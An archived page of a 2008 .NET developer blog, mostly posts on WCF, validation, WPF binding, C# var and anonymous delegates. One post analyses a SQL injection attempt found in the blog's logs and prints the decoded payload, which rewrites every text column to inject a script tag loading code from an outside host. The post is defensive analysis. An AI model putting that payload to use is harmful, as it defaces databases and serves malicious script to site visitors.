Explore Stack Trace in Resharper
I've been using Resharper for a couple of weeks now and, whilst it takes some getting used to, I'm just about starting to enjoy some significant productivity increases. I have to find some time to go through the settings properly and enable/disable the bits I like/don't like but on the whole the experience is positive. Especially when I found this little beauty.
You know how it is. You're debugging your code and some exception get thrown deep in the heart of some code you don't own and your left to unpick the exception. You click 'view details' and get this dialog that contains a mucky stack trace:

Nightmare. We've all been there. I usually end up cutting and pasting the stack trace into Notepad so I can read it. But now, all I have to do is copy the stack trace to the clipboard and choose the "Explore Stack Trace" option from the Resharper menu:

And bingo! Look at that:

I can even click on the links to jump to appropriate piece of code. Nice.

Post By
Josh Twist
3:46 AM
28 Aug 2008
Stop trying to hack me
I had a huge list of errors in my blogs log this morning and they all had something very unusual in common: a request url that looked like this:
/Archive.aspx?month=8&year=2008';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x444 ... snipped for brevity ... 36F72 %20AS%20CHAR(4000));EXEC(@S);
At first it just looked like noise, but a second look revealed a few interesting pieces. Most telling is the single quote added to a querystring value which is a sure sign someobody's having a go at some SQL injection. Naughty.
I was kind of impressed that the malign chap had gone to the trouble of obfuscating the SQL by embedding the majority of his script in hex. However, a careful C&P to SQL Query analyzer allowed me (
being sure not to execute the EXEC(@S) part of the query).
DECLARE @S CHAR(4000);
SET @S = CAST( 0x444 ... snipped for brevity ... 36F72 AS CHAR(4000));
PRINT @S;
Which revealed:
DECLARE @T varchar(255), @C varchar(4000)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www2.1000ylc.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www2.1000ylc.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Ooh nasty! The culprit must be targetting blogs (and/or other sites that store HTML content directly in the database) and is trying to squirt in a script link to some content he has hosted on a server somewhere. A kind of SQL/XSS hybrid attack.
This reminded me of one of my favourite articles on SQL injection by
Michael Sutton called
How Prevalent Are SQL Injection Vulnerabilities?.
In it he describes an idea to discover websites that are vulnerable to SQL injection using the google API, the results are particularly interesting:
| Initial population of URLs | 1000 |
| Population after removal of duplicate servers | 732 |
| Population after removal of failed requests | 708 |
| Total number of verbose SQL errors | 80 |
| Percentage of sample web sites potentially vulnerable to SQL injection attacks | 11.3% |
Scary. If you're not familiar with SQL Injection check out the wikipedia entry.

Post By
Josh Twist
4:40 AM
21 Aug 2008
One Way operations in services
So what exactly is a 'one-way' operation in web service terms? Perhaps most-importantly, what isn't it? It
isn't a fire-and-forget operation like a UDP broadcast where you have no idea whether your message was successfully delivered, let alone processed by the recipient.
The first incarnation of .NET web services, commonly referred to as ASMX, supported one-way operations. All you had to do was decorate the
WebMethod with an additional
SoapDocumentMethod attribute and set the
OneWay property to true. And because the method is one-way, it can't return any data and has to be marked
void.
[WebMethod]
[SoapDocumentMethod(OneWay=true)]
public void DoSomething()
{
// Simulate some work
Thread.Sleep(10000);
}
We can do exactly the same thing in WCF.
[OperationContract(IsOneWay=true)]
void DoSomething()
{
// Simulate some work
Thread.Sleep(10000);
}
So what is the difference between this and a method not marked OneWay? Let's have a look at the response when we invoke a normal,
request-response, service method:
ResponseCode: 200 (OK)
Connection:Close
Content-Length:140
Cache-Control:private
Content-Type:text/xml; charset=utf-8
Date:Tue, 19 Aug 2008 07:56:52 GMT
<?xml version="1.0" encoding="utf-16"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<DoSomethingResponse xmlns="http://tempuri.org/" />
</s:Body>
</s:Envelope>
Cool - so that's what a void response looks lke in SOAP. And what about when we invoke the
one-way service method?
ResponseCode: 202 (Accepted)
Connection:Close
Content-Length:0
Cache-Control:private
Date:Tue, 19 Aug 2008 08:00:19 GMT
Server:ASP.NET Development Server/9.0.0.0
X-AspNet-Version:2.0.50727
In this case we just receive a HTTP code 202 to say our message has been accepted. Thanks!
It's important to note that one-way calls aren't some magical little-known part of the HTTP protocol that IIS takes care of. In fact, they aren't 'one way' at all. The processing framework, in this case ASP.NET or WCF, is responsible for sending that 202 response code. Also, both requests look identical - there isn't any special way of making a one-way HTTP request.
There was of course one other big difference:
the one-way service call returned about 10 seconds quicker!
This is because a one-way service call doesn't wait for the call to be processed, only to be
delivered - where delivery includes deserialization of the request. Once this has happened ASP.NET (for asmx) or WCF send the response and start processing the operation on a separate thread.
Thus one-way calls are useful for scenarios where you want to be sure that the message was delivered, but don't care (at least at this stage) whether the message was successfully processed or not.
One way operations are commonly used in
asynchronous enterprise integration patterns. In fact, when using MSMQ based bindings with WCF your operations
have to be marked as one-way operations. This is particularly powerful when used with a transactional MSMQ store which is durable. Therefore I know that when my message has been 'delivered' and is stored safely waiting to be received by the asynchronous recipient.
Next we'll talk about one-way operations and BizTalk R2.

Post By
Josh Twist
5:12 AM
20 Aug 2008
theJoyOfCode in PC Pro Magazine
I probably shouldn't post things like this but I've been reading PC Pro for years and years now so to see a screenshot of theJoyOfCode.com in the latest issue was just too grand an occasion for it to pass without note.
Issue 168 (October 2008) talks about Silverlight, databinding and DeepZoom and has a screenshot of the Silverlight Databinding Cornucopia post:

Cool.

Post By
Josh Twist
4:31 AM
19 Aug 2008
Rulesets on Operations in WCF with Validation Application Block
In my last post I introduced the WCF integration in the Validation Application Block from the Patterns and Practices team at Microsoft. I mention at the end that I would like the ability to specify individual Rulesets to each operation within a ServiceContract.
Let's start by examining the ValidationBehavior and ValidationBehaviorAttribute in the Validation.Integration.WCF project in EntLib 4.0.
public class ValidationBehavior : IEndpointBehavior, IContractBehavior
{
// Details excluded
}
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface,
Inherited = false, AllowMultiple = false)]
public class ValidationBehaviorAttribute : Attribute, IEndpointBehavior, IContractBehavior
{
// Details excluded
}
The first thing to notice is that the ValidationBehavior implements the IContractBehavior interface which "Implements methods that can be used to extend run-time behavior for a contract in either a service or client application.".
WCF also supports implementing the IOperationBehavior interface which "Implements methods that can be used to extend run-time behavior for an operation in either a service or client application.". This seems like what I am looking for, so off we go and add this interface to both the ValidationBehavior class and the ValidationBehaviorAttribute class.
public class ValidationBehavior : IEndpointBehavior, IContractBehavior, IOperationBehavior
{
// Details excluded
}
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface,
Inherited = false, AllowMultiple = false)]
public class ValidationBehaviorAttribute : Attribute, IEndpointBehavior, IContractBehavior, IOperationBehavior
{
// Details excluded
}
The methods you have to implement when adding this Interface are surprisingly similar to the methods in the IContractBehavior interface so I am not even going to describe it in this post. For those of you who would like to try this, just download the source files that are available from the link at the end of this post.
Now the second thing to notice is that the ValidationBehaviorAttribute's AttributeUsage does not include AttributeTargets.Method. So let's add this one too. The final version of the two class definitions look like this:
public class ValidationBehavior : IEndpointBehavior, IContractBehavior, IOperationBehavior
{
// Details excluded
}
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface | AttributeTargets.Method,
Inherited = false, AllowMultiple = false)]
public class ValidationBehaviorAttribute : Attribute, IEndpointBehavior, IContractBehavior, IOperationBehavior
{
// Details excluded
}
If you remember my example from the previous post, I am now able to specify a different Ruleset to run on each operation. Tidy!
[ServiceContract]
public interface IValidationService
{
[OperationContract]
[ValidationBehavior("Update")]
[FaultContract(typeof (ValidationFault))]
void Update(Customer customer);
[OperationContract]
[ValidationBehavior("Create")]
[FaultContract(typeof (ValidationFault))]
CustomerKey Create(Customer customer);
}
[DataContract]
public class Customer
{
[DataMember]
[NotNullValidator(Ruleset = "Update")]
public string Id { get; set; }
[DataMember]
[StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive, MessageTemplate = "Firstname must be between 1 and 20.", Ruleset = "Update")]
[StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive, MessageTemplate = "Firstname must be between 1 and 20.", Ruleset = "Create")]
public string FirstName { get; set; }
[DataMember]
[StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive, MessageTemplate = "Username must be between 1 and 20.", Ruleset = "Create")]
public string UserName { get; set; }
}
If you would like this kind of control yourself, go to EntLib on Codeplex and view the issue that I added and download the source. I would also appreciate if you give it a vote so we can see this in a future release of EntLib.

Post By
Bruusi
6:02 AM
18 Aug 2008
Validation Application Block and WCF
We are using the Validation Application Block (VAB) from the Patterns and Practices team at a project I am currently working on. I haven't had a look at this for a while and I was very impressed with the integration they have with WCF in EntLib 4.0.
Consider the following service and data contract:
[ServiceContract]
public interface ICustomerRepositoryService
{
[OperationContract]
void Update(Customer customer);
[OperationContract]
string Create(Customer customer);
}
[DataContract]
public class Customer
{
[DataMember]
public string Id { get; set; }
[DataMember]
public string FirstName { get; set; }
[DataMember]
public string UserName { get; set; }
}
If I want to make sure that FirstName is validated to be between 1 and 20 I simply have to add a StringLengthValidator to the FirstName property and a ValidatorBehavior to the contract interface. I also have to specify a FaultContract of type ValidationFault on the operations which are to be validated.
using Microsoft.Practices.EnterpriseLibrary.Validation.Integration.WCF;
using Microsoft.Practices.EnterpriseLibrary.Validation.Validators;
[ServiceContract]
[ValidationBehavior]
public interface ICustomerRepositoryService
{
[OperationContract]
[FaultContract(typeof (ValidationFault))]
void Update(Customer customer);
[OperationContract]
[FaultContract(typeof (ValidationFault))]
string Create(Customer customer);
}
// class code omitted for brevity
[DataMember]
[StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive, MessageTemplate = "Firstname must be between 1 and 20.")]
public string FirstName { get; set; }
This will work out of the box, no configuration required. Sweet!
VAB has a lot of great features which I am not going to cover in detail in this post but one of the features is that you can specify Ruleset's. This enables you to group rules together and to ultimately run different rules for different scenarios.
So in the end my contract definition looks like this:
[ServiceContract]
[ValidationBehavior]
public interface IValidationService
{
[OperationContract]
[FaultContract(typeof (ValidationFault))]
void Update(Customer customer);
[OperationContract]
[FaultContract(typeof (ValidationFault))]
CustomerKey Create(Customer customer);
}
[DataContract]
public class Customer
{
[DataMember]
[NotNullValidator(Ruleset = "Update")]
public string Id { get; set; }
[DataMember]
[StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive,
MessageTemplate = "Firstname must be between 1 and 20.", Ruleset = "Update")]
[StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive,
MessageTemplate = "Firstname must be between 1 and 20.", Ruleset = "Create")]
public string FirstName { get; set; }
[DataMember]
[StringLengthValidator(1, RangeBoundaryType.Inclusive, 20, RangeBoundaryType.Inclusive,
MessageTemplate = "Username must be between 1 and 20.", Ruleset = "Create")]
public string UserName { get; set; }
}
It is quite self explanatory what I want to do; On Create I want to make sure FirstName is specified and between 1 and 20 characters and that the customer has entered a username. The Id is not necessary since I am creating the customer. On the other hand when I Update the customer I need the Id, but the UserName is not necessary as this should not be updated. Nice and easy...
Now comes the only limitation that I would love to see in a future release of EntLib: The ruleset you wish to run you can only specify at the service contract level by adding a Ruleset parameter to the [ValidationBehavior] attribute. I would like to be able to specify different rulesets on different service operations to allow for even greater granularity.
In the next post I will describe how easy it is to add this feature to the EntLib implementation of the [ValidatorBehavior].

Post By
Bruusi
12:55 AM
15 Aug 2008
Avoiding Primitive Obsession to tip developers into the pit of success
Perhaps the wooliest blog post title I've posted in a while, so bear with me. Imagine a component that uses strings as parameters. Not too hard, right?
Have you ever created a list of string constants for use with such a component? Something like this:
public static string CommandNames
{
public const string ProfileCommand = "ProfileCmd";
public const string WebExecuteCommand = "WebExecuteCommand";
}
Of course you have. But how can you do your best to encourage other developers to use these constants instead of hardcoding the strings when using the API?
P.S. Don't get too hung up on the details of this example, I had to make up an API.
A common approach that solves these problems is to remove the use of the primitive (in this case a string) and use a specific class. Maybe a CommandName class something like this:
public class CommandName
{
public static CommandName Create(string name)
{
return new CommandName() { Name = name };
}
private CommandName()
{}
public string Name { get; private set; }
}
And we could have a CommandNames static class that exposes the appropriate objects
public static string CommandNames
{
public static readonly CommandName ProfileCommand = CommandName.Create("ProfileCmd");
public static readonly CommandName WebExecuteCommand = CommandName.Create("WebExecuteCommand");
}
Now all we have to do is modify the API to no longer accept a string and only accept a CommandName, i.e.
public void ExecuteCommand(string commandName)
... becomes...
public void ExecuteCommand(CommandName commandName)
This is fine if you own the API. If not, you'll probably have to wrap the existing one. However, another developer is now much less likely to hardcode a string where the API is used and will hopefully use your static CommandNames. You can even enforce this by making the static Create method internal and embedding the CommandNames class inside the same assembly (or adding an InternalsVisibleTo attribute to the assembly).
If you do decide to lock down the capability to create new CommandName objects then beware that you've now limited use of the ExecuteCommand API. I find that the mere avoidance of exposing a plain string is enough to make a developer think before embedding a string. As always, your own mileage may vary.

Post By
Josh Twist
7:24 AM
14 Aug 2008
Databinding to property bags and dictionaries in WPF
My colleague
Darren 'BizTalk' 'Cloud' Jefford has been playing around with a bit of WPF recently incorporating it into some of his demos that show off the latest in our cloud based offerings, such as
SQL Server Data Services (SSDS).
Data items stored in SSDS, or entities as they're called, are effectively property bags (or dictionaries) and therefore in .NET you access their properties using indexers. Here's an example LINQ query looking for entities where the number of copies sold is less than 1000.
from e in entities
where e["NumberOfCopiesSold"] < 1000
select e;
He wanted to know if was possible databind to an SSDS entity in WPF? How would you specify an indexer property?
et voila:
<TextBox Text="{Binding [NumberOfCopiesSold]}" />
In this instance the DataContext of the TextBox in question. What if an entity was a property of the current DataContext itself, maybe named MyEntityProperty?
<TextBox Text="{Binding MyEntityProperty[NumberOfCopiesSold]}" />
This technique also works fine with numeric indexers including those on arrays
<TextBox Text="{Binding MyArray[3]}" />
Nice - but there is a caveat. There is no notification support for indexers so if you programmatically change the value of your MyEntityProperty[NumberOfCopiesSold] like so...
_myDataContextObject.MyEntityProperty["NumberOfCopiesSold"] = 12;
... the UI won't automatically react to this change.
Also, note that there's no support for this binding syntax in Silverlight 2 either.
For an intro on WPF databinding check out this post:
Reason 2 - Databinding

Post By
Josh Twist
6:48 AM
13 Aug 2008
WCF: The type provided as the Service attribute could not be found
This had me stumped for a little while today. Whilst trying to host a WCF service in IIS we got this message when we tried to access the .svc file:
The type 'YourType, YourAssembly', provided as the Service attribute value in the ServiceHost directive could not be found.
At first the message seemed to be very specific about not being able to find the
type - almost as though it had found the assembly so I changed the YourAssembly to utter nonsense to see if the error changed. Alas no, so it was possible that the assembly couldn't be 'found', let alone the type.
Everything seemed to be in order as far as the assembly was concerned. He was in the bin folder and security was setup appropriately. The type, namespace and assembly were quadruple checked and
definitely correct. We even hooked up WinDbg and used the
sxe ld YourAssembly command in the hope that we'd see the module attempt to load and fail. But nothing.
So I did what I always do in these situations and reverted to my ol' skool
Response.Write-ASP-classic-style debugging techniques. First step was to drop in an aspx page that used the Activator to create the type dynamically. Here's the ASPX page (no .aspx.cs required):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.Remoting" %>
<%
ObjectHandle oh = Activator.CreateInstance("YourType", "YourAssembly");
Response.Write(oh.Unwrap().ToString() + " loaded OK");
%>
Just drop this page next to your .svc file and navigate to it in the browser. If it works and you can see the name of your type then you have a different problem to ours. I got an error that looked like this:
Could not load file or assembly 'SomeOtherAssembly' or one of its dependencies. The system cannot find the file specified.
Aha! So we could find the type specified in the Service attribute but we couldn't find some of its dependences. That's better - turns out I was missing an assembly that had to be GAC'd for this to work.

Post By
Josh Twist
10:25 AM
12 Aug 2008
Why does Visual Studio keep checking some project files out?
I was on site with a customer recently when I was asked why Visual Studio would automatically check out project files when getting latest (or specific) from TFS.
I had a look and, sure enough, there were 3 project files checked out with pending changes. The first thing they tried was to undo the pending changes (meaning the project files were no longer checked out) but then the minute they got latest, or even tried to
build the project, VS would check out those project files.
I checked with some of the other developers and, unbeknownst to them,
they had the same projects checked out too. Weird.
So, we did a Compare to see what, exactly, VS was doing to these files and it turned out that Visual Studio was fixing a bad HintPath in the project. Changing it from an absolute path (that was invalid on this machine) to a relative one. Wow!
Now this seems like a missed opportunity to me. I am pretty impressed that Visual Studio can do this (and still not sure quite how it does it). If only VS had prompted the user with something like this:

Then we'd have customers as impressed with this as I am, and not lamenting the stability of VS & TFS. Still, problem solved and nice to know VS is looking out for me.

Post By
Josh Twist
1:15 AM
01 Aug 2008
Updated data-binding friendly script for Data Services
A couple of months ago I posted a script
Making webdatagen data-binding friendly that took a .cs file generated by ADO.NET Data Services using webdatagen.exe/datasvcutil.exe and made it data-binding friendly.
David Browne who works for Microsoft in Dallas got in touch having used the script and made a few improvements. Here's the updated script:
file = $args[0]
$content = [System.IO.File]::ReadAllText($file);
$hash = $content.GetHashCode();
$re = [regex] "\.Collection<"
$content = $re.replace($content, ".ObservableCollection<")
$re = [regex] "this.On(.*?)Changed\(\);"
$content = $re.replace($content, "this.On`$1Changed()/**/;`r`n`t`t`t`tthis.OnPropertyChanged(`"`$1`");")
$re = [regex] "this._(.*?) = value;(\s*?)}"
$content = $re.Replace($content, "this._`$1 = value/**/;`r`n`t`t`t`tthis.OnPropertyChanged(`"`$1`");`$2}")
$re = [regex] "(?m)public partial class (\w*?)`r`n(\s*?){"
$content = $re.Replace($content, "public partial class `$1 /**/: System.ComponentModel.INotifyPropertyChanged`r`n`t{
`t`tpublic event System.ComponentModel.PropertyChangedEventHandler PropertyChanged;
`t`tprotected virtual void OnPropertyChanged(string propertyName)
`t`t{
`t`t`tif (PropertyChanged != null)
`t`t`t{
`t`t`t`tPropertyChanged(this, new System.ComponentModel.PropertyChangedEventArgs(propertyName));
`t`t`t}
`t`t}
")
if ($hash -ne $content.GetHashCode())
{
[System.IO.File]::WriteAllText($file, $content);
Out-Host -InputObject ($file + " updated.");
}
Perhaps the best thing about this new version is it is now idempotent and so it can be run as part of a pre-build script. Nice.
David also spotted a little bug where I'd forgotten to escape a '.' so instead the Regex would have treated it as a wildcard.
Thanks David!

Post By
Josh Twist
1:42 AM
31 Jul 2008
Yet more on to var or not to var
Yes, it's another post on the use of the c# var keyword following
More on to var or not to var and
To var or not to var. I want to put this to bed for now (at least for a year before I run
the poll again.
However, in the interests of completeness I had to post again as yesterday I quoted the
C# reference as saying:
Overuse of var can make source code less readable for others. It is recommended to use var only when it is necessary, that is, when the variable will be used to store an anonymous type or a collection of anonymous types.
However, if I'd have looked a little harder, I'd have also found this in the
C# programming guide:
The var keyword can also be useful when the specific type of the variable is tedious to type on the keyboard, or is obvious, or does not add to the readability of the code. One example where var is helpful in this manner is with nested generic types such as those used with group operations. In the following query, the type of the query variable is IEnumerable<IEnumerable<Student>>. As long as you and others who must maintain your code understand this, there is no problem with using implicit typing for convenience and brevity.
Of course, we're not bound by what the authors of MSDN think. Often something is created without the creators realising the potential for that thing. Maybe
var is the same. Who knows? Only time and convention will tell - certainly the vote is pretty split at the moment:
You decide.
I thought about calling this post "Oh no! More on to var or not to var". I'll call the next one that :)

Post By
Josh Twist
11:38 AM
20 Jul 2008
More on to var or not to var
Yesterday, I posted a
poll asking for peoples opinions on the use of the var keyword with non anonymous types.
At the time of writing, the "No! It's just for anonymous types" have the vote with 51% against 44% - and 5% not really caring (although the vote might have been slightly skewed by some of my friends
campaigning:).
I just found a post by
Dare Obasanjo from earlier this year with the same title:
C# 3.0 Implicit Type Declarations: To var or not to var.
In it, he cites several references on the matter including two posts by a member of the Resharper team called
ReSharper vs C# 3.0 - Implicitly Typed Locals and
Varification -- Using Implicitly Typed Locals and, perhaps most compelling, the
C# Reference which states:
Overuse of var can make source code less readable for others. It is recommended to use var only when it is necessary, that is, when the variable will be used to store an anonymous type or a collection of anonymous types.
This closes the argument for Dare as he states "Case Closed" and it is tough to argue when the authors of the language make such a statement. Though a little part of me does wonder why the creators of C# didn't prevent this usage if they feel that way.
UPDATE: I found another piece of documentation on MSDN that says just the opposite, see Yet more on to var or not to var
I'll close the
poll in a few days, so get your vote in now. Then I'll rerun it in about a years time and we'll see if opinions have changed.

Post By
Josh Twist
3:31 AM
19 Jul 2008
To var or not to var
Visual Studio 2008 introduced plenty of compiler magic to .NET such as automatic properties:
public string Name { get; set; }
... and class initializers:
Product product = new Product() { Name = "Lemon Gin", Price=135 };
(Bruusi mentioned before
why he prefers constructors for this sort of thing, and I agree.)
We also saw the introduction of anonymous types and the
var keyword.
var theDaddy = new { Name = "Morgan", SplashFactor = 10 };
What's particularly great about all this is, because these features are just compiler trickery, we can use them with good old .NET 2.0!
Back to the subject of the post... Here's the thing though, you can use the
var keyword with
non anonymous types too.
var product = new Product() { Name = "Lemon Gin", Price=135 };
I recently got my hands on a copy of
ReSharper 4.0 and the use of var in this way for local variables is a default recommendation made by ReSharper:

It's easy enough to turn this feature off using the highlighted option on the smart tag menu shown above. And at first, I was appalled and very nearly turned it off:
"What on earth? Surely that's not what the var keyword is for!"
However, I decided to give this approach a chance and, over time I grew to like it. This "to var or not to var" argument caused something of a minor poo-storm in my
team recently with the salient points going something like this:
Arguments for:
- It makes the code easier to read
Arguments against:
- It's lazy
- I need to know what type of variable I'm dealing with and that should be clear when it's declared (the counter argument is that the type is right there on the right hand side of the assignment)
- It doesn't encourage interface based programming, e.g. IMyInterface obj = new MyImplmentation();
- It's just wrong
For me, there isn't a technical argument here only one of preference and I am open to both approaches. For now, for the sake of convention, I'm going to side with the majority, so where do you stand? I'm also curious to gauge how this changes over time, so vote now:
The question
If you can't see the survey please
click here. It's tiny and will only take you a second.

Post By
Josh Twist
4:32 AM
18 Jul 2008
Anonymous Delegates, how I love thee
I remember, back in late 2005 when .NET 2.0 was released and introduced anonymous delegates. I remember being decidedely unimpressed - they looked ugly and seemed to represent laziness and coding charlatonism.
Isn't it funny how over time you get used to the new stuff and it doesn't look alien anymore.
Funnily enough, it wasn't until the release of .NET 3.5 and my
time spent experimenting with lambdas that I really gave anonymous delegates a chance.
And oh, how my views have changed!
The 'easy' type
There isn't too much special about the 'easy' kind of anonymous delegates, they're really just shorthand. e.g.
ThreadPool.QueueUserWorkItem(delegate(object ignored)
{
// do something on the ThreadPool
Console.WriteLine("Hello from a ThreadPool thread!");
});
Whilst this 'easy' type can be very handy - there's even more value to be had from the 'hard' type.
The 'hard' type
I've stolen the terms 'easy' and 'hard' types from
Raymond Chen's
excellent series on anonymous delegates. The hard type is where the delegate directly references a member from the method body.
Recently I used these inside the
Ukadc.Diagnostics project - and I think it demonstrates why I've started to like anonymous delegates so much. We have a class that has a number of constructor overloads:
internal MethodProfiler(TraceSource source, string message);
internal MethodProfiler(TraceSource source, string format, params object[] args);
internal MethodProfiler(TraceSource source, object data);
internal MethodProfiler(TraceSource source, params object[] data);
And based on which constructor was used, the behaviour of the Dispose method has to vary. Originally I set out to just store a flag indicating the construction type and then do a switch based on that flag inside Dispose. However, I think this was much nicer:
private delegate void Disposal();
private readonly Disposal _disposal;
private bool _disposed;
internal MethodProfiler(TraceSource source, string message)
{
source.TraceEvent(TraceEventType.Start, 0, message);
_disposal = delegate() { source.TraceEvent(TraceEventType.Stop, 0, message); };
}
internal MethodProfiler(TraceSource source, string format, params object[] args)
{
source.TraceEvent(TraceEventType.Start, 0, format, args);
_disposal = delegate() { source.TraceEvent(TraceEventType.Stop, 0, format, args); };
}
internal MethodProfiler(TraceSource source, object data)
{
source.TraceData(TraceEventType.Start, 0, data);
_disposal = delegate() { source.TraceData(TraceEventType.Stop, 0, data); };
}
internal MethodProfiler(TraceSource source, params object[] data)
{
source.TraceData(TraceEventType.Start, 0, data);
_disposal = delegate() { source.TraceData(TraceEventType.Stop, 0, data); };
}
void IDisposable.Dispose()
{
if (!_disposed)
{
_disposed = true;
_disposal();
}
}
Now the reality is I didn't get too much out of this that I couldn't have done without anonymous delegates. The reality is - you never will, after all anonymous delegates are just compiler trickery. However, they regularly help me spot an approach I may have overlooked in their absence.
I was recently working with an
ADC customer and we had to come up with a way of wrapping an existing component and making an asynchronous call synchronous. The existing API looked something like this:
void AddWorkItem(WorkItem workItem);
event EventHandler<WorkItemCompletedEventArgs> WorkItemCompleted;
Where WorkItemCompletedEventArgs carries the id of the work item and which is unique and only ever processed once.
You've probably seen something similar in the past. You add a work item and an event fires when it's finished processing. However, work items have a huge deviation in the amount of time they take to process and they're not necessarily processed in the order that they're added to the queue. So, to make a ProcessWorkItem(WorkItem workItem, int millisecondsTimeout) method that blocks, you need to make sure you pair up the correct WorkItemCompleted event with *your* work item. Still with me?
'Hard' anonymous delegates made for a nice solution to this that looked as follows:
// CAUTION - Do not use me! I will leak memory! Read on...
public void ProcessWorkItem(WorkItem workItem, int millisecondsTimeout)
{
ManualResetEvent mre = new ManualResetEvent(false);
// register our delegate which checks to see we have the correct work item
// before signalling the blocked thread to continue
ExistingApi.WorkItemCompleted += delegate(object sender, WorkItemCompletedEventArgs args)
{
if (args.WorkItemId == workItem.Id)
{
mre.Set();
}
};
// add our workitem to the queue
ExistingApi.AddWorkItem(workItem);
// block here until our WorkItem completes - but timeout if the call doesn't complete in time
if (!mre.WaitOne(millisecondsTimeout, true))
{
throw new TimeoutException(string.Format(
"The call did not complete within {0}ms and was timed out",
millisecondsTimeout));
}
}
Hopefully, you spotted the caution in the comments and haven't just pasted that code into your uber mission critical app - because it will leak memory with every call to ProcessWorkItem.
The reason for this is that by wiring up an event handler (...WorkItemCompleted += delegate...) we have created a reference between the ExistingApi type and the object that hosts that delegate.
Because you've already read
Raymond's posts on anonymous delegates you'll be well aware that 'hard' anonumous delegates implement their particular flavour of magic by creating a new type. Indeed, if we take a look in WinDbg (!dumpheap -stat) at my leaky example after running it for a short time we'll see a worrying number of oddly named objects:
MT Count TotalSize Class Name
00f816bc 973 19460 ExampleWrapper+<>c__DisplayClass2
Removing the leak
Fixing the problem is easy enough. We only need to unhook the delegate when we're done with it:
public void ProcessWorkItem(WorkItem workItem, int millisecondsTimeout)
{
ManualResetEvent mre = new ManualResetEvent(false);
EventHandler<WorkItemCompletedEventArgs> del = delegate(object sender, WorkItemCompletedEventArgs localArgs)
{
if (localArgs.WorkItem == workItem)
{
mre.Set();
}
};
ExampleApi.WorkItemCompleted += del;
ExampleApi.AddWorkItem(workItem);
bool callCompleted = mre.WaitOne(millisecondsTimeout, true);
// unhook the delegate
ExampleApi.WorkItemCompleted -= del;
if (!callCompleted)
{
throw new TimeoutException(string.Format(
"The call did not complete within {0}ms and was timedout",
millisecondsTimeout));
}
}
Even better there's no need to wait for .NET 3.5 to use any of this. All the examples presented here are written in good old .NET 2.0. Happy days (even if I am little bit late to the game with this one!)
Raymond's short series: "The implementation of anonymous methods in C# and its consequences":

Post By
Josh Twist
11:41 AM
10 Jul 2008
© 2005 - 2008 Josh Twist & Thomas Bruusgaard - All Rights Reserved.